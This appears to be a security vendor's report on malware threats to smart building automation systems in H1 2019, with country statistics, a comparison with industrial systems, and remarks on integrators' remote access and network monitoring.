What are the threats of a targeted attack? First off, there is disruption of the computers that control the automation systems, and subsequent failure of the systems themselves, since not all of them are totally autonomous. The result may be a disruption of the normal operation of the building: electricity, water, and ventilation are likely to continue to work as before, but there may be problems with opening/closing doors or using elevators. There may also be problems with the fire extinguishing system, for example, a false alarm or, worse, no signal in the event of a fire.

Geographical distribution of threats

Share of smart building systems on which malware was blocked, by country, H1 2019

Top 10 countries

Country %* Italy 48.5 Spain 47.6 Britain 44.4 Czech Republic 42.1 Romania 41.7 Belgium 38.5 Switzerland 36.8 India 36.8 China 36.0 Brazil 33.3

*Share of computers on which malware was blocked
Sources of threats to building-based automation systems

When studying the sources of threats to building-based automation systems, we decided to compare them with similar statistics on industrial systems that we regularly compile and publish. Here’s the result:

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Sources of threats to building-based automation systems by share of attacked computers, H1 2019 (download)

The graph shows that in building-based automation systems the share of attacked computers is consistently higher than in industrial systems. That being the case, the total share of attacked computers over the same period is greater in industrial systems (41.2%). This is due to the fact that building-based automation systems are more similar to systems in the IT segment — on the one hand, they are better protected than industrial ones, so the overall percentage is lower; on the other, they have a large attack surface (i.e. the majority have access to the Internet and often use corporate mail and removable drives), so each computer is exposed to more threats from different sources.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Types of malware detected in building-based automation systems, by share of users attacked, H1 2019 (download)

Note that it is not only the networks of automation systems in specific buildings (stations, airports, hospitals, etc.) that face threats. The networks of developers, integrators, and operators of such systems, who have (often privileged) remote access to a huge number and variety of objects, are also subjected to “random” and targeted attacks. Having gained access to computers in the network of an integrator or dispatcher, the cybercriminals can, theoretically, attack many remote objects simultaneously. At the same time, the remote connection to the automation object on the side of the integrator/operator is considered trusted and often effectively uncontrolled.

The threat landscape for smart buildings and how to minimize it will be discussed in more detail at the conference. One final note is to mention the importance of monitoring network communications on the perimeter and inside the network of automation systems. Even minimal monitoring will reveal current issues and violations, the elimination of which will significantly increase the object’s level of security.